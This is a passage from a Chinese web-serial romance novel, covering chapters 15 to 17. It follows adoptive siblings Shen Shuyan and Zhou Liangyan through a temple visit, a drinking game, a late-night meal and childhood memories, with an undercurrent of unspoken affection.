沈舒言将手机熄屏扔到桌面,躺在床上睁着眼睛看天花板,她总觉得怪怪的,但一时也想不清楚怪在那里。
-
月亮还躲在乌云身侧,整个夜空都是雾蒙蒙的,看不真切。
北城最中心最繁华的地界。
万华壹号院顶层此时依旧灯火通明,周良宴自毕业自己创立公司后,便搬出来独住,只会偶尔回周家老宅。
屋内整体装修都是当下正流行的意式轻奢风,以黑、灰色为主色调,稳重大气。
站在客厅的巨大落地窗前,大半个北城映入眼帘,所见之处的大街小巷都化身成一片繁华美景。
单向玻璃此刻倒映出一个宽厚的身影。
男人穿着深蓝色家居服站在窗前,应该是刚沐浴结束,头发还没有吹干。
潦草擦过的头发湿漉漉地贴着额鬓,发梢上的残留的水珠顺着修长的脖颈缓缓滑下,没入衣领濡湿一小片区域的布料。
挂断电话后,随意将手中的杯子放在客厅的桌子上,轻轻滑动屏幕。
他的指甲修剪的很整齐,手指骨节分明,指盖上的小月牙都呈现出健康的形态,泛着玉石般淡淡的光华。
首先映入眼帘的是母亲的聊天框,有几条语音,语音条最右边角缀着显眼的红色未读红点。
他点开,传出来的声音瞬间充斥着整个空荡的房间:“良宴,言言和际琛的事情你看着多注意点儿,际琛这孩子挺不错的,我跟你爸都很满意。”
早上这条语音发完后,中午又连着发了几条。
无非还是那几句话,多操心自己妹妹谈恋爱结婚的事。
接下来的几条按着顺序开始播放,“良宴,集团现在已经转型的差不多了,你以后对总部多加上心早点接手,这样我和你爸爸也能安心退休。”
“记得跟言言提个醒,跟人家约好的时间,别闹脾气不听话。”
最后一条语音播放完毕,空旷的客厅又陷入沉寂,付瑾华川流般的声音仿佛还盘旋在客厅上空。
周良宴落坐在临窗的真皮沙发上望着窗外。
最终他唇瓣微启,还是是一如既往的毫无波动,像空寂的山谷没有一只鸟类的鸣叫,唯剩孤独寂寥。
“妈,你不要再逼言言了。”
15. secret
八月中旬,周际两家长辈约着去寺庙上香祈福,提前跟几位小辈打好招呼一同前往。
沈舒言这几天得空和赵岚娜去商场买了些软装,目前工作室的的收尾工作已经基本完成。
在收到母亲信息时,她下意识想拒绝,但又不想和家人闹的太僵,只得应承下来。
进香当天,两家长辈各开一辆车。
唐淑玲不愿意听他们聊生意,与剩下的年轻人一辆,由周良宴开车。
“言言,工作室还顺利吗?”唐阿姨问道。
“嗯,前几天刚收尾,等把软装弄好请您去参观。”
“这么快呀!”
“都是提前规划好的所以进展比较快。”
唐淑玲喝了口水,说:“要是际琛跟你一样就好了,整天不着调,拿着滑板搞得浑身是伤。”
际琛反驳:“妈,什么不着调,说不准几年后滑板都能加入奥运会呢。”
“好好好,是正经事儿。”唐淑玲笑着应承,默了一会儿,想到什么似的转头看际琛:“阿琛,我记得你前几天还说要开滑板俱乐部,地方还没定的话,不如去言言那边看一下。”
际琛靠右侧窗户坐着,头扭向窗外看玻璃中身旁人的侧影,被突然点名后才稍稍坐正,转头目视前方,“啊?妈你说什么?”
知子莫若母,唐淑玲哪儿会看不出自己儿子的小心思,眼里带着笑意又重复一遍:“我说你开滑板俱乐部,可以去看言言那边的房子,合适的话就提早定下,离得近你们两个年轻人还能互相帮衬。”
际琛看了眼身边的人,他耳尖染上一层绯红,低声应了句好。
沈舒言倒是没什么特别大的反应,一如往常的淡淡点头。
前方开车的周良宴微不可察的瞥了眼后视镜。
镜中是一张极为漂亮的脸,但情绪很淡,似有无尽解不开的忧愁埋在心底。
只看过一眼便收回。
入秋之际,旅游业正旺。
今日天气不佳,香客依旧不减。寺内的两旁的树木瞧着已有年岁,仍枝繁叶茂,耳边蝉鸣鸟啼不休,行走其间,别有一番清幽。
一行人在正门左侧领香,废了点时间才到正殿。
付瑾华信佛,与这里的主持交往颇深,一进门便有几位沙弥迎上。
长辈们跟着领路沙弥去佛前供灯祈福,际琛走的急,手机落在车上又返回去取,只剩兄妹二人站在一边。
沈舒言静静瞧着,树影婆娑,空气泛着淡淡的檀香味与植物清香,让人莫名烦躁的心也慢慢沉静了下来。
佛堂肃穆,宝相庄严眉眼低垂,似合未合双目慈悲而又审视,那眼似能看透人心,让人不敢造次。
看着眼前单薄的身影,周良宴敛下目光,与妹妹拉开距离,缓步跟在她身后。
大殿中央三个蒲团,两人分别跪至左右两侧。
来寺庙的路上,长辈们说在佛祖面前拜许要真虔,不能贪心,只求她保佑你最惦念的那一件。
周良言垂眸看向身侧的人,她合眼许久,不知在向佛祖求什么。
常言道,众人烧香,皆为己欲。
可不管这世上哪一本经书,字字句句都在教人放下。
奈何欲望这东西,一旦滋生便无法消解,最后如决堤潮水,流不完,止不住。
轻叹一口气后,他才沉下心,转头上拜。
在神灵慈悲而又洞察一切的温柔注视下仿佛被剥至赤裸,欲念被全部摊开无处遁形。
最惦念,最无法放下,最希冀神佛保佑的一件。
他将双掌合十紧闭双眼,默念着永远无法示人的心愿,不知神灵是否应允。
殿内落针可闻的寂静,檀香缭绕,白的烟与昏黄灯光映照,景象变得模糊。
周良宴抬头,镜片下双眸还是落寞麻木的,恍惚间与佛像慈悲的双目对视,佛像座下的灯似乎比刚才更亮,利剑似戳进胸膛。
佛殿森严,忽觉来自身前神灵的审视,他低下头,视线始终落在面前砖红色地板,有些狼狈的站起身往外走,因走得急险些被绊倒。
殿外已经下起小雨,似银针倾斜落下,打在青石板上,打在两边低垂的枝叶上又滚进地里,他望着不远的一处水洼出神,看雨滴不断落在浅显的洼里后又转眼消失。
身旁有人站定,他转头望去,是沈舒言。
她的目光与他的落在同一处水洼中。
“哥,刚才在庙里,你许的什么愿。”
周良宴怔愣,默了几秒才摇头,“说出来佛祖不高兴,就不灵了。”
沈舒言目视前方,却能看到她弯起的嘴角,是淡淡的笑,或许在这庄严肃穆的地方,忧愁也都被消散,她久违的有些孩子气,“那我告诉你我的,我的佛祖脾气好,肯定不会生我的气。”
她侧头望过来,周良宴能看到她眼睛里所有的光亮,亮晶晶的闪着,“我求佛祖保佑我们平安和睦,保佑我的哥哥幸福,永远都开心。”
那一瞬万籁俱寂,古刹的钟声自远方传来,伴着细微的雨声将他笼罩,少女眼底的光凿穿他的胸腔,心脏像被细密柔软的网紧紧贴住后一点点收紧,无法捕捉的闷痛四散。
他忽然想起很久的以前,他们一家来这儿进香拜佛。
那时沈舒言还小,走累了会耍赖让他背着她往外走。小姑娘爬在她的背上,等父母走远才神秘兮兮的探在他耳边,悄声说,“哥哥,我跟佛祖说了,让她保佑你每次都能考第一名,这样妈妈就不会骂你,佛祖答应我了,我下次要给她带好多好吃的。”
思绪飘忽,没有人说话,只余良久的沉默。
长辈们供完灯离开大殿往外走,后面跟着已经过来的际琛。
沈舒言小步迎上前,站在付瑾华和周明竹身侧。
周良宴还站在原地,双眸静静的望着他们。
他想,他的愿应该永远不会实现。
-
工作室一切收拾就绪之后,沈舒言又抽空去了趟寺庙,为自己即将参加的陶瓷艺术双年展展做准备。
静兰寺虽地处北城较为繁华的闹市区,但却仿佛与世隔绝成为唯一的净土,宁静富有生命力。
她进了香,坐在一旁的台阶上观察周围,注意到有趣的地方时便拿起手机拍照记录。
时不时有被寺内僧人收养的猫咪围上来,大约是习惯与人类共处,它们不怕生,亲昵的蹭她的裤脚。
临到中午,天气燥热。
院中的香炉紫烟缭绕,来往香客步履匆匆,只有睡在丛中的猫儿慵懒的伸着懒腰打盹儿。
放在一旁的手机震动,是赵岚娜。
说自己这段时间忙的晕头转向,今天才终于忙完,问她有没有时间两人一起去吃个饭。
沈舒言打开相册,将自己刚才拍的照片发过去,回复:【最近要准备参展作品,正在找灵感,可能腾不开时间。】
赵岚娜看到沈舒言所在的地方时,已经忘了自己的目的,连着发出几个小狗撒娇的表情包,缠着要她去求一只姻缘签。
沈舒言嘴角挂着笑,手指悬在键盘上还没开始敲字,一通电话打进来,赵岚娜苦口婆心,“言言,你去试试嘛,自从我认识你都没见过你谈恋爱,我是真的很好奇。”
通话持续好几分钟,软硬兼施,听得沈舒言很无奈又拿好友没办法,终于妥协。
起身拍了下裤子上的灰尘,去正门领了香后踱步往求签的地方走。
上完香后双手合十,上前抽签。
站在一旁的主持接过竹签,转身去殿内取出签文后递过来。
沈舒言接在手上认真看。
签上写:
笋出园中已破苔,枝条郁郁映楼台;他时得遂凌云至,休把青蓝一样猜。
下面附有注解:
内藏珠。旁有宝。仔细寻。莫看偏。
沈舒言盯着手上的签文,有些茫然,没作他想。
与主持道别后,将签纸叠好放进包里。
赵岚娜却不太淡定,隔着屏幕都能感受到的激动。
她一本正经的推理,得出的结论正是前段时间刚回国的际琛。
沈舒言发了个小猫疑惑的表情包,再未回复。
-
际琛的执行力很强,拜完佛回来后便开始托朋友在文创园内找适合的房源。
他性格好长得帅,虽这几年人都在国外,但在北城也不缺朋友,朋友多,效率高。
消息放出去没几天便找到一处离沈舒言的工作室周边的房子,步行只需要几分钟就能到达。
唯一的缺点就是房屋装修不太合心意,际琛只能先找设计师和装修团队将房子重新修整一番。
沈舒言这几日也忙着制作参展作品,整日都待在工作室内,唐淑玲来给际琛送饭时都会多做一些。
际琛的工作室灰大,他们吃饭都在沈舒言那儿,
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唐淑玲每次都笑意盈盈的看着他们吃完才离开。
两人经过这一段时间相处下来,关系也比以前要近上几步。
际琛的朋友们常常过来帮忙,与沈舒言也逐渐熟络。
小半个月后,终于装修完毕,一群小年轻买了些酒下酒菜和大堆零食,准备好好庆祝。
喝了一会儿,有人嚷着无聊,从包里拿出一副扑克说玩些酒桌游戏。
沈舒言被撺掇着抽了一张,她将抽到的牌倒扣着放在一旁,看着其他人笑着闹着。
刚开始还是旁观者的身份,直到………
“6号拨通讯录里Z开头第七个人的电话说我想你了,而且不能解释原因哦。”
话音刚落,沈舒言迷糊的脑子瞬间清醒,拿起旁边的牌睁大眼睛再三确认。
结果不言而喻,自己是那个倒霉蛋。
身旁的女生眼疾手快的抽走她手中的牌,“是言言!”
话音刚落,她已然瞬间成为所有人的焦点,被起哄的拿起手机,翻开通讯列表。
一点一点的往下数,第一次如此庆幸给好友的备注是大名。
赵岚娜的名字开头也是z,她是这样安慰自己的。
然而眯着的眼睁开,熟悉的人名跳进视线时,下意识的愣住。
其实细细回想,她已经很久没跟哥哥说过“想”这个词。
是因为长大羞于表达感情还是多年前哥哥不辞而别远赴国外留学两人生出嫌隙。
具体是为何,她也说不清楚。
沈舒言犹豫着,手指浮在手机屏幕上,迟迟无法按下。
旁边的人喝了些酒,起身时身体不太稳,碰到她的手臂,电话就这样拨通。
她惊得睁大双眼,直到耳边想起滴声,只能祈祷周良宴还在忙,错过自己的这通电话。
心脏仿佛都放缓跳动。她悄悄默念着,在阿拉伯数字三的尾巴喉咙的同时,连线滴声消失,电话接通。
手掌已经沁出细密的汗,因手握的很紧,掌心被边缘咯的有些疼。
电话那头很安静,周良宴应该还在加班。
大约是手机听筒紧紧贴着耳朵,她甚至能清晰的听到那头传来细微的呼吸声。
周围的人屏气凝神,沈舒言却好像身处在一个透明的玻璃罩中,与旁人都隔绝开来。
在他第二次喊出她的名字后,她才用极轻的声音说:“想你了。”
再然后就是迅速挂断电话倒扣在沙发上。
她拿起面前的饮品一饮而尽,却在液体划过口腔的瞬间察觉到不对劲。
是酒。
一旁的际琛察觉到她的异常,附身询问,沈舒言摇头,摆摆手示意自己没事儿。
又玩儿了几轮,大家都已经有些困乏,不想走的在这里留宿,需要回家的已经开始拿起手机呼叫代驾。
每个人饮酒都有一个量,只要控制住就不会醉。
显然那最后一杯导致沈舒言已经过量,从沙发上起身时脑子有些许晕乎。
她跟际琛打过招呼,婉拒他要送她回去的提议,迈着步子在路上吹夜风。
不到几分钟走到工作室门口。却在看到熟悉的商务车后顿住脚步。
遥遥一眼就看到周良宴站在车旁。
他穿黑色衬衫和西装长裤,外面套着薄款风衣,高大挺俊,半张脸隐在浓稠的夜。
而现在距离挂断电话不过十几分钟。
她记得禾旭到自己工作室的路程不算近,开车的话足足需要快半个小时。
他是什么时候过来的?
沈舒言往前走几步,离周良宴更近一些。
明明前几日家庭聚餐两人还在老宅见过一面。
不知是否有酒精的缘故,在今天这个夜晚。
在此时此刻,再看到他时。
沈舒言却觉自己有一种倾盖如故,恍如隔世的感觉。
月光柔和如絮,银纱似铺在地面,让眼前的景象都染上虚浮的光晕。
路两边的枝丫被晚风吹得沙沙作响,与蝉鸣糅合乐曲般飘进耳朵。
颊边的发被风扰的凌乱,痒意爬上心头。
她抬手将碎发拢至耳后。
再抬眼时暖黄的街灯依次亮起,眼前景象清明,灯下的身影走的更近一些。
两人站在路灯下,影子离得很近。
沈舒言仰头,眼睛还眯着,问:“哥……你怎么来了?”
16. secret
夜风很凉,周良宴垂眸望着面前的人许久。
很难将真实的原因袒露,他斟酌再三,方才开口:“下班顺路过来。”
沈舒言点头,不准备再问,她怕话题会引到刚才那通电话上。
树叶沙沙声响起的夜晚,肚子开始抗议,她面上一红,略微有些难堪。
在刚才的饭局上她只顾着聊天,其实也没有吃多少东西,此时胃里也已经空空如也。
对面的周良宴垂眸看她一眼,没说话,径直转身迈步朝着工作室门口走。
走了几步察觉到后面的人并没有跟上来,他转身停下,往后看,“不吃饭吗?”
“吃。”沈舒言果断回复,忙不迭的跟上去。
沈舒言不喜欢做饭,因为她实在是讨厌油烟,尽管现在的科技已经发达到让人在做饭时远离油烟的地步,她还是一如既往的讨厌。
不做饭,也就不会采购食材,所以平日里家中很少有新鲜的蔬菜和肉食,冰箱里最多的是意面和开袋煮熟就可以食用的速食。
以前每次忙完工作回来她都是煮上一包意面或者虾饺,搭配不同的水果,就是一顿简单的晚饭。
幸好上次和赵岚娜一起去采购软装时顺便在超市买了新鲜蔬菜和肉食,不然她真的不知道今晚能吃些什么来填饱肚子。
沈舒言迈步走到工作室门口,从口袋里掏出钥匙打开大门,她侧着身体让周良宴先进去。
问过厨房的位置后,就见那人脱下西装外套放在沙发上,露出劲瘦的腰肢,而后径直走进厨房。
沈舒言也跟着进去,给厨房预留的位置不算大但也够用,摆放在橱柜里的厨具很少用,平日里下个饺子面条,用烤箱叮个面包已经是极限。
她打开冰箱把前几日买的食材拿出来。
牛排,番茄,牛腩,葱姜还有各种没拆封的调料。
回头的时候周良宴已经将衬衫袖口解开卷了起来。他很自然的走近,拿起番茄放进水槽里清洗。
周良宴个子很高,沈舒言记得小时候他们就经常站在墙边让阿姨帮忙量身高。他初中时在班里就已经鹤立鸡群,再加上可以轻易扰乱少女心的脸庞,站在同龄人旁边一眼便能瞧到。
厨房的台面对他来说实在有些矮,只能微微拱着腰,恰好将平日里隐藏在衣衫下线条流畅的肩背显露出来。
赵岚娜有一阵疯狂迷恋一位爱豆,常在她面前说那位爱豆是如何宽肩窄腰,如何魅惑少女心,沈舒言都嗤之以鼻。
今日却突然品出点妙来。
周良宴是个极度自律的人,能练出这种身材似乎也无可厚非,她想。
醉意已经被屋外的夜风吹得消散不少,但是身上还有些许酒味残留,有些不好闻。
沈舒言跟周良宴打过招呼,便走到二楼洗澡。
抬手打开花洒,任由温热的水流轻拂过自己疲惫的身体,白皙的肌肤被水汽蒸的微微泛起绯红,她觉得自己整个人都在此刻放松下来。
半个小时后洗澡结束,沈舒言觉得自己更饿了,没顾得上吹干头发,从楼上下来。
白色的长衣长裤,是一如既往的柔软质地,沈舒言身形单薄纤瘦,显得身上的衣服格外宽松,好像把她整个人都笼罩在柔软的布料下。
因着急吃饭,头发胡乱的用浴帽包裹着,月牙色的锁骨与白皙修长的脖颈都暴露在暖黄色的灯光下,整个人周身仿佛被打上盈盈暖色。
走到一楼还没进入厨房,鼻尖就嗅到从里面传来食物的香味,是牛排的味道,她被勾的咽了下口水。
探头探脑的走进去,就看到周良宴的衬衫袖挽起,小臂肌肉线条纹理分明,锅里正在小火慢炖的番茄牛腩,旁边还煎着几片牛排。
空气中传来熟悉的香味,直觉是沈舒言过来了。
周良宴扭头看她一眼后,又将注意力放在锅里的面条上,“把头发吹干再吃饭,不然明天不是头痛就是感冒。”
直到是为自己好,沈舒言乖乖点头,转身往厨房外面走。
头发上的滴落的水珠不小心溅在周良宴的胳膊上,他看了一眼,没有将它擦掉,任由它自己慢慢干了。
在水珠干涸的过程中,那片皮肤便有一种紧缩的感觉,像是某种东西吸附在上轻轻吸着他似的。
那水珠的温度应该是要比他的体温要低上许多,却散发的轻微的灼热感,穿过薄薄的皮肤钻进血液使得身体热燥。
沈舒言回到卧室吹头发,奈何心里还想着厨房里的番茄牛腩面,潦草的将头发吹了几分钟便停止动作。
未干完全的秀发被随意用发带挽起,小跑着下楼。
到厨房是发现来的刚刚好,面条已经煮好盛进碗里,周良宴正在切牛排。
两人相对而坐,沈舒言先往嘴里送了一块儿牛肉,味道实在太好,她满足的弯了眉眼。
再吃了口面,她的第一反应是周良宴的厨艺比以前更好了。
不过想来也是,他在国外待了这么些年,没有这么好的厨艺,大概是生存不下去的。
毕竟她前段时间和际琛吃饭时,总是听他提起国外那令人难以下咽的白人饭。
沈舒言在其他方面都是无所谓的态度,她不追求奢侈品大牌包,觉得十几块的帆布包和五位数的包背着的感觉大差不差。
吃饭这件事不一样,家里厨师的手艺其实都不差,毕竟是从五星级酒店挖过来的。可
她的舌头实在挑剔,最中意的不是那些高价聘请的大厨,而另有其人。
在她年少的那几年,家里只有他们兄妹二人,她总是缠着周良宴,让他给自己做东西吃。
不管是早上刚起来五六点,还是晚上熬夜学习结束后的三四点,他总是会满足她的任何要求。
沈舒言挑食的毛病只有周良宴知道,她总说她的毛病就是被他惯出来的。
在家中吃饭时,她会避开去那些自己不爱吃的菜,或将菜夹进碗里,留到最后。
只有周良宴和她两个人的话,她会毫不客气地提出任何要求,每次吃饭前都要说自己不要这个,不吃那个。
起初周良宴还会耐心的告诉她,不管什么东西都要去尝试一下,营养均衡身体才能健健康康的。
但是很明显劝慰无果,他只能在每次做饭时把她不喜欢的配菜去掉,流失的营养则从其他地方补上。
周良宴也喜欢给她做饭,尤其是她早些年不爱吃饭引发胃病之后,在她吃食上废了好一番功夫。
她生病胃痛时,连医生也说不准具体是什么病因,只是嘱咐她以后要在吃辛辣和生冷多多注意,还有尤其是酒精,不宜贪杯。
可奈何高中的孩子说大不大,说小也不小。
正好赶到叛逆期,总爱和大人对着干,不让她什么,她偏要干。
周良宴从小将这个妹妹捧在手心里,从头到脚无一不精细。
每每她和同学们出去吃饭时,他都会不厌其烦的叮嘱妹妹,要少吃辛辣,注意忌口。
可乖女孩儿不会永远乖巧。在父母面前,沈舒言总是听话懂事的。
但在周良宴这里却不一定,就像只会在最亲的人面前才会翻肚皮的小猫,沈舒言只有在哥哥面前才会露出马脚。
那是高二暑假的某天,父母不在家,她跟朋友出门吃饭,被撺掇着喝了不少酒,导致回家时晕晕乎乎。
唯一留存的清醒是警惕的看着哥哥卧室的灯,等它熄灭后才蹑手蹑脚地上楼。
打开卧室门还没走到床边就瘫软在沙发上,但却迟迟无法入睡。
很久不复发的胃病卷土重来,她的胃突然开始痉挛,可她甚至无法清晰的找到疼痛的位置。
感觉到自己的额头已经开始冒出冷汗,疼的险些就要哭出声来。
还残存的意识听到卧室门被轻轻敲响,可她却无法起身去开门。
过来几分钟,就听到钥匙插入锁孔的声音,门被轻轻推开。
门口站着的是她以为已经睡着的哥哥,他穿着家居服右手端着热牛奶诧异的看向沙发上的人。
只一眼便察觉到不对劲,他跨步走进屋内将牛奶放在一旁的桌子上问:“言言,怎么了?”
沙发上的人眼眶里已经溢出泪水,她痛得说不出话,断断续续的吐出几个字:“哥....我...好难...受。”
知道妹妹这是胃病复发,周良宴从衣橱里拿出衣服披在沈舒言身上,抱着人就往医院赶。
由司机在前方开车,兄妹两人坐在后排。
沈舒言不愿意靠在硬挺的皮质椅背上,将自己半个身体都埋进哥哥的怀里。
靠在温暖的怀里,鼻尖嗅着熟悉的雪松香味,疼痛好像都被缓解些许。
沈舒言还穿着出门是的T恤短裙,她手脚冰凉,只能握着周良宴的手胡乱的往自己怀里塞。
两人虽是兄妹,可这举动实在是不妥。
周良宴拧眉试着将手抽出来,却被怀里的人使劲儿拽着,纤细的手指都要陷进他的皮肉里。
尝试几次无果,只能轻声哄着:“言言,你把手松开,马上就到医院了。”
怀里的人听不见似的,皱着眉头,将头埋的更低。
周良宴不敢太用力,他怕会让她更痛,眼看着怀里的人已经疼到抽搐,只得任由她握着自己的手掌轻轻揉她的胃。
因为胃痛,柔软布料下的肌肤已经渗出一层薄薄的汗,染着体温贴在她的肌肤上。
或许是因为兄长的手掌起了作用,沈舒言的眉头舒展一些,她的声音还是很小:“哥,你再往上压一压。”
周良宴的手僵硬住,他呼出一口气,出声催促前面的师傅开得再快一些。
然后对着沈舒言说:“马上就到医院了。”
说完便将手掌挪走,虚握着垂在身侧。
可掌心中的汗却好像怎么都干不了,纱似的紧紧贴着他。
幸好到医院后挂过吊水便无大碍,在清醒后,沈舒言低垂眼眸向哥哥再三保证,自己绝对不会再过量饮酒。
经过这么些年的调理,她的胃的承受能力早已经比以前好上很多,她也可以喝少量的酒。
沈舒言认真的埋头吃饭,半干的头发还滴着水珠。
周良宴无意识的抬眼,便看到晶莹的水滴从她的鬓角自下轻轻滑落至颈部。
那水附在修长的脖颈上,被白炽灯光照着,更加衬的女孩儿的肤色白皙。
周良宴低头喝了一口水,垂眸将视线移至桌面。
空气中仍飘着淡香,是他很熟悉的味道。
记忆中她的味道
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一直是这样,到现在都没有改变。
已经入秋夜晚的气温不高,有风从外面进来将那香味吹得离自己更近。
周良宴觉得有些闷,呼吸都被浸染。
沈舒言还在认真地解决面前的食物,放在一旁的手机飘出音乐,她瞟了一眼手机屏幕,放下筷子按下接听键。
电话那头是才与她分别没多久的际琛。
他那边的朋友才刚安顿好,就特地打电话过来询问沈舒言是否安全到家,说刚才的酒精度数有些高,问她有没有觉得不舒服。
沈舒言拿起面前的杯子喝了一口水,回答道:“还好,我刚才没喝多少。”
听到这话,电话里头的人才放下心,跟她说完晚安后便挂断。
沈舒言是真的饿,没多久便将面条和牛排全部送入肚中。
对面的人早早候着他,看她吃完后起身将碗碟端入厨房。
沈舒言也跟着过去,她有些不好意思,“哥我来洗吧,饭都是你做的。”
周良宴没停下手上的动作,沉默的将碗放入水池中才开口:“你喝了酒,早点休息,我把这里收拾完就回去。”
知道自己再怎么说,他都不会让自己洗碗,沈舒言只好点点头,去卫生间洗漱后回到卧室。
偌大的房子空旷而寂静,她躺在床上,觉得自己还能听到厨房里的水流声。
过了十几分钟,水流声停止,一楼的灯变暗。
周良宴将洗好的碗整齐的摆进消毒柜后随手将厨余垃圾带走。
回到自己的车上时,没有第一时间启动车辆,而是抬眼看向二楼唯一亮着灯的房间,透过窗户散发出暖调的光。
他沉默的看了良久,等灯光消失,房间变得黑暗,才在心里默默说了句晚安。
将车掉头,驶出文创园。
-
房间里已经没有光亮,沈舒言眼睛还睁着,肚子刚才吃的有些撑,闭上眼睛翻来覆去的睡不着。
只好将目光落在窗外繁茂的大树上,她记得刚来时从卧室还看不到太多,现在却已经能看到不少。
夜晚很安静,树上的蝉都悄悄噤声,只有蛐蛐儿还在鸣叫,她觉得一点也不聒噪。
再加上最近早晚的温度骤降,凉风轻轻吹进来,她因无法入睡在心头的产生烦闷也消散不少。
关掉灯的卧室变得可见度很低,只有月光洒进来,眼睛还没适应黑暗,除了远处路边的街灯隐约闪烁着点点灯光,别的什么也看不清楚。
这个季节的树应是最繁茂的,眼下也只有一大片模糊浓重的灰黑。
沈舒言盯着那片树眼神失了焦,大脑也随之失神,思绪好像被拉回以前。
她记得周家院子也有这样一棵树,自从哥哥让母亲在树枝装上秋千后,那里变成他们兄妹两人的秘密基地。
每次有空时她便会叫上哥哥一起去荡秋千,她让他帮自己往上推,笑着让哥哥推的高一点再高一点。
在她的回忆里,那棵树承载了自己太多情绪,快乐,忧愁,烦闷甚至是莫名的占有欲。
直到现在她还能记得自己当时的情绪。
那是一个夏日的午后,家里突然停电,阿姨去物业询问情况,只留她一人待在卧室。
夏夜的温度要比白天低上不少,她打开卧室的玻璃门,为了让燥热消散便搬了个凳子坐在阳台上胡乱张望。
看院中的树,看远处接连亮起的灯,看屋外的安静的街道。
正看的入迷,耳边响起自己从来没听过的声音,她探着脑袋往下看。
是哥哥和一个穿着连衣裙的姐姐正站在门口,不知道他们在说些什么。
她有些好奇,把凳子往前挪地更近,可距离还是不够,耳朵里什么都听不到。
只能隐约通过表情感觉到那个姐姐的情绪有些激动,而周良宴仍旧是一如往常的平淡,站在女孩的对面,丝毫不被影响。
沈舒言认真地盯着他们看,起初只是好奇。
过了几分,在看到那个姐姐突然将脸凑到哥哥面前时,心头涌上慌乱。
不知道为何她并不想去看接下来的画面,腾的转身走进屋内,连椅子都被连带着掀翻在地。
她回到卧室扑倒在床上,但心中却无法抑制的冒出无数种猜想。
那个姐姐是喜欢哥哥吗?那哥哥喜欢她吗?
如果他们在一起后,哥哥是不是就不会对自己好了?
她有太多太多的问题。
或许是因为幼时失去父母,而养父母都是严厉的摸样,她唯一能够依赖的柔软的人便是比自己大六岁的哥哥。
沈舒言一直觉得哥哥是她在这个世界上最亲的亲人。
那晚她的脑子一直胡乱的猜想。
无措,恐慌充斥的大脑,就连在睡梦中也流着泪水。
时至今日那情绪都令她胆战,忽然心下一紧。
等回过神来时重新聚焦,眼睛已经适应了卧室里的黑暗。
望向窗外时,才渐渐从大片的黑影中寻找出几分墨绿,看出些许树叶的轮廓。
沈舒言失神的盯着看,轻叹一口气,笑自己当年的幼稚。
她和兄长那段亲密的过往,现在看来更像是一场美梦。
而美梦终归有醒来的那一刻。
17. secret
沈舒言久违的做了场梦,第二天醒来时已经快中午十一点。
眯着眼睛摸枕头边的手机,在看清屏幕上的消息提示后猛地坐起。
周良宴:“睡醒来开门。”
仔细一看时间,是三个小时前发来的。
她快速下床洗漱,顾不得整理头发腾腾腾跑到门口。
周良宴已经打开车门从车里下来,他没说话,径直走到后备箱提了好几个袋子出来后才扭头看她,“去超市时想起你冰箱里食材不多,买了点过来。”
沈舒言往袋子里瞅了眼,是一些速食和适量的新鲜水果蔬菜。
大约知道她不爱做饭,但压要在吃速食时她搭配着蔬菜肉类一起,营养均衡。
可这样的小事安排助理送过来就好,怎么他还亲自跑来一趟,一等就是三个小时。
沈舒言有些怔忡,一分钟后回神,笑着跟哥哥打招呼。
两人一同往里走,周良宴进门后轻车熟路的走到厨房,把食材都先分类好。
“便签纸和笔有吗?”周良宴问。
沈舒言去工作台上取过来递给他。
周良宴接过,将纸放在大理石桌面上开始写,写好后又一一贴在刚才分类好的食材上。
“速食少吃,水果蔬菜趁新鲜吃,牛排做起来很方便,别偷懒。”
沈舒言乖巧点头,看了下便签纸上内容。
是一排排的日期,显然是用来提醒她的。
他向来如此周到细心。
做完这些,周良宴拧开水龙头洗完手,才转身走到客厅,望向沈舒言,“我看这里收拾的差不多了。”
“嗯,全部都弄好了。”沈舒言上前一步,“要参观一下吗?”
“好。”
工作室的一切都井然有序,按工作板块布局,工作台,拉胚区,工具墙,储存架,釉料台等等。
往里走是一个五层高的架子,上面放着很多做好的素胚准备上色。
沈舒言正垫脚把柜子上一个稍微倾斜的胚体摆正,说话声音很轻:“际琛的朋友来过几次,挺感兴趣的,我就拉了些素胚让他们体验一下。”
一旁的周良宴眼神始终在她身上,看到素胚被摆正,她稳稳的站好,才将视线转移到别处。
他不知他们两人的关系已经如此要好,轻轻点头没做回应。
两人又缓缓移步至另一侧的展架,其中有几只刻画十分入神的小猫映入眼帘。
“你又去静兰寺了。”周良宴问,默了几秒,他抬手指着最右侧正在酣睡的橘猫解释:“那天下雨,这只我的脚边躲雨。”
沈舒言微笑,“最近准备参加陶瓷协会举办的双年展,去了几次找灵感。”
她没想到表面看上去这样严肃的人竟能记住偶然在他脚边躲雨的小猫。
两人参观完后回到客厅,便听到门口传来推门声。
际琛人还未到,声先传进来来,“言言,九月初你有时间吗!”
说着已经走到两人面前,手里还高举着几张门票。
在看到沈舒言旁边的人后他稍稍噤声,尽管现在已经二十几岁,但还是一如既往的怕着从小就不苟言笑的周良宴。
以至于连说出的话里都带上几分恭敬,“良宴哥,你也在啊。”
周良宴不甚在意的点头没说话。
际琛这才转向沈舒言,小心的询问刚才的问题。
沈舒言抬手接过际琛递过来的门票,反复确认时间后开口:“应该是可以去,我要参加的展会刚好那几天就在南城。”
得到想要的回复,际琛抑制住要从喉咙里跳出来的欢呼,嘴角翘起弧度,“好!那我们到时候见!”
带来的票有好几张,际琛犹豫几秒,“良宴哥,你如果有空的话.....”
话还没说完,手中的票已经被对面的人接了过去。
别说际琛,旁边的沈舒言也觉惊讶,毕竟在她的认知里,自己的兄长喜欢看音乐剧,看画展。
他鲜少去一些人多嘈杂的地方,聚会时也只一个人待在角落。
际琛已经走到素胚展架前,拨通了好友的视频通话,邀请到喜欢的人看自己的比赛,他说话的语气都要比刚才上扬几个度,“言言都给你们把素胚弄好了,还不赶紧过来认领上色,一个个闲的非要麻烦人家。”
沈舒言连忙摆手,她这段时间刚好也没事,拉几个胚当练手了。
况且际琛的这几位朋友同他一样外向交际广泛,说不定可以帮她在他们的圈子里做宣传,拉拉客户。
周良宴接过门票后去旁边接了个电话,回来时就看到际琛和沈舒言两人站在展架旁说笑,到底年龄相仿,随意聊上些话题就能变得熟络。
他面无表情的看着正认真向电话那头的人的人介绍的自己作品的人,有些可以的忽略掉心口升起的刺痛。
-
九月初。
沈舒言的展品已经提前送去展会参展,恰好赵岚娜学校的事情已经忙完,便相约来到南城。
难得的放松,两人去酒店附近的夜市吃了不少小吃,又不想那么早回去,吹着夜风在街上散步消食。
南城的夜生活丰富,尽管已经快要十二点,街边还是车来人往。
七聊八聊中,赵岚娜又扯到前段时间沈舒言求的那一支姻缘签,开始摇头有模有样的分析。
她发挥出上学时解析文言文的功力,最后得出结论,“这句话的意思应该就是你的有缘人就在身边,千万不能看错,莫看偏呀,莫看偏。”
